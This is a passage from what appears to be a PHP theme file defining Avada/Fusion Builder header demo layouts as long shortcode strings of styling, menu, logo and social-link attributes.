box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#ffffff" padding_top="0px" padding_bottom="0px" class="top-bar" z_index="60" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="4_5" layout="4_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="4_5"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" font_size="14px" line_height="1" letter_spacing="" text_color="" content_alignment_medium="" content_alignment_small="" content_alignment="left" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" fusion_font_variant_text_font=""]Call Us Today! 1.555.555.555[/fusion_text][/fusion_builder_column][fusion_builder_column type="1_5" layout="1_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="1_5"][fusion_social_links font_size="" icons_boxed="" icons_boxed_radius="" color_type="" icon_colors="#333" box_colors="" tooltip_placement="bottom" blogger="" deviantart="" discord="" digg="" dribbble="" dropbox="" facebook="#" flickr="" forrst="" instagram="#" linkedin="" mixer="" myspace="" paypal="" pinterest="" reddit="" rss="" skype="" soundcloud="" spotify="" tiktok="" tumblr="" twitch="" twitter="#" vimeo="" vk="" wechat="" whatsapp="" xing="" yahoo="" yelp="" youtube="#" email="" show_custom="no" alignment="right" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="stretch" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="yes" box_shadow_blur="20" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="large-visibility" sticky_transition_offset="35" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" border_sizes_top="1px" border_color="#ededed" sticky_offset=".top-bar" background_color="#ffffff" min_height="110px" sticky_height="75px" box_shadow_vertical="0" box_shadow_horizontal="0" box_shadow_color="rgba(0,0,0,0.06)" z_index="50" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="3_4"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="22px" arrows="main,active,submenu" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="8px" transition_type="center" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="#65bc7b" active_color="#ffffff" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="#ffffff" dropdown_carets="no" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="fade" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="6" box_shadow_spread="1" box_shadow_color="rgba(0,0,0,0.23)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="rgba(0,0,0,0.9)" submenu_color="#fcfcfc" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="10px" items_padding_bottom="10px" active_border_top="" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3px" box_shadow_horizontal="2px" submenu_border_radius_top_left="6px" submenu_border_radius_top_right="6px" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="" items_padding_right="20px" items_padding_left="20px" border_radius_top_left="25px" border_radius_top_right="25px" border_radius_bottom_right="25px" border_radius_bottom_left="25px" arrows_size_width="10px" arrows_size_height="8px" submenu_items_padding_top="10px" submenu_items_padding_right="20px" submenu_items_padding_bottom="10px" submenu_items_padding_left="20px" mobile_nav_trigger_bottom_margin="20px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-7'] = [ 'name' => 'New 7', 'image' => $preview_image, 'position' => 'calc( 1300% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_color="#303647" gradient_end_color="#2f343d" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_left="10px" padding_right="10px" background_color="#1c1c1c" padding_right_small="30px" padding_left_small="30px" padding_bottom_medium="20px" padding_right_medium="20px" padding_left_medium="20px" padding_top_medium="20px" type="flex" z_index="99" padding_top="0px" padding_bottom="0px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="20px" padding_right="" padding_bottom="20px" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="150px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="flex-end" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="20px" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" padding_top_medium="0px" first="false" padding_top_small="0px" type="3_4"][fusion_menu menu="icon-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" margin_top="" margin_bottom="" transition_time="300" submenu_space="" arrows="" arrows_size_width="" arrows_size_height="" class="" id="" min_height="" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" fusion_font_family_typography="" fusion_font_variant_typography="" text_transform="none" items_padding_top="20px" items_padding_right="15px" items_padding_bottom="15px" items_padding_left="15px" gap="10px" border_radius_top_left="8px" border_radius_top_right="8px" border_radius_bottom_right="0" border_radius_bottom_left="0" transition_type="bottom-vertical" icons_position="top" icons_size="16" thumbnail_size_width="" thumbnail_size_height="" bg="" color="#ffffff" border_top="" border_right="" border_bottom="" border_left="" border_color="" icons_color="#ffffff" active_bg="#ffffff" active_color="#000000" active_border_top="" active_border_right="" active_border_bottom="" active_border_left="" active_border_color="" icons_hover_color="#000000" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_max_width="" submenu_flyout_direction="fade" submenu_font_size="" fusion_font_family_submenu_typography="" fusion_font_variant_submenu_typography="" submenu_text_transform="none" submenu_items_padding_top="" submenu_items_padding_right="" submenu_items_padding_bottom="" submenu_items_padding_left="" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" box_shadow="yes" box_shadow_vertical="3" box_shadow_horizontal="0" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(255,255,255,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="medium" custom_breakpoint="800" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding_top="" trigger_padding_right="" trigger_padding_bottom="" trigger_padding_left="" mobile_trigger_background_color="rgba(255,255,255,0)" mobile_trigger_color="#ffffff" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="16" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_trigger_bottom_margin="20px" mobile_nav_items_height="65" mobile_justify_content="left" mobile_indent_submenu="on" fusion_font_family_mobile_typography="" fusion_font_variant_mobile_typography="" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#f4f4f4" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-8'] = [ 'name' => 'New 8', 'image' => $preview_image, 'position' => 'calc( 1400% / 15 )', 'css' => '', 'content' => '[fusion_builder_container type="flex" hundred_percent="yes" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" padding_top="50px" padding_bottom="0px" flex_column_spacing="0" padding_right_small="30px" padding_left_small="30px" background_color="#f6fbf7" z_index="152" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="center" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="50px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" element_content="" margin_bottom_small="0px" margin_top_small="0px" first="true" type="1_1"][fusion_imageframe image_id="" max_width="180px" sticky_max_width="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="left" align="center" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="true" type="1_1"][fusion_menu menu="icon-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" margin_top="" margin_bottom="" transition_time="300" submenu_space="" arrows="" arrows_size_width="10px" arrows_size_height="10px" class="" id="" min_height="" sticky_min_height="" align_items="stretch" justify_content="center" font_size="" fusion_font_family_typography="" fusion_font_variant_typography="" text_transform="none" items_padding_top="22px" items_padding_right="29px" items_padding_bottom="22px" items_padding_left="29px" gap="15px" border_radius_top_left="8px" border_radius_top_right="8px" border_radius_bottom_right="" border_radius_bottom_left="" transition_type="center" icons_position="left" icons_size="14" thumbnail_size_width="" thumbnail_size_height="" bg="" color="" border_top="0px" border_right="0px" border_bottom="4px" border_left="0px" border_color="#f6fbf7" icons_color="" active_bg="#ffffff" active_color="#000000" active_border_top="0px" active_border_right="0px" active_border_bottom="4px" active_border_left="0px" active_border_color="#65bc7b" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_max_width="" submenu_flyout_direction="fade" submenu_font_size="" fusion_font_family_submenu_typography="" fusion_font_variant_submenu_typography="" submenu_text_transform="none" submenu_items_padding_top="" submenu_items_padding_right="" submenu_items_padding_bottom="" submenu_items_padding_left="" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" box_shadow="yes" box_shadow_vertical="3" box_shadow_horizontal="0" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="800" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding_top="20px" trigger_padding_right="" trigger_padding_bottom="20px" trigger_padding_left="" mobile_trigger_background_color="rgba(255,255,255,0)" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="16" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_trigger_bottom_margin="20px" mobile_nav_items_height="65" mobile_justify_content="left" mobile_indent_submenu="on" fusion_font_family_mobile_typography="" fusion_font_variant_mobile_typography="" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#f4f4f4" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['new-9'] = [ 'name' => 'New 9', 'image' => $preview_image, 'position' => 'calc( 1500% / 15 )', 'css' => '', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="min" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="yes" box_shadow_blur="30" box_shadow_spread="1" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="on" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#ffffff" border_color="rgba(0,0,0,0.1)" flex_column_spacing="0" sticky_height="4em" box_shadow_vertical="10" box_shadow_horizontal="0" box_shadow_color="rgba(242,247,243,0.85)" padding_top_small="10px" padding_bottom_small="20px" type="flex" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="5_6" layout="5_6" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" 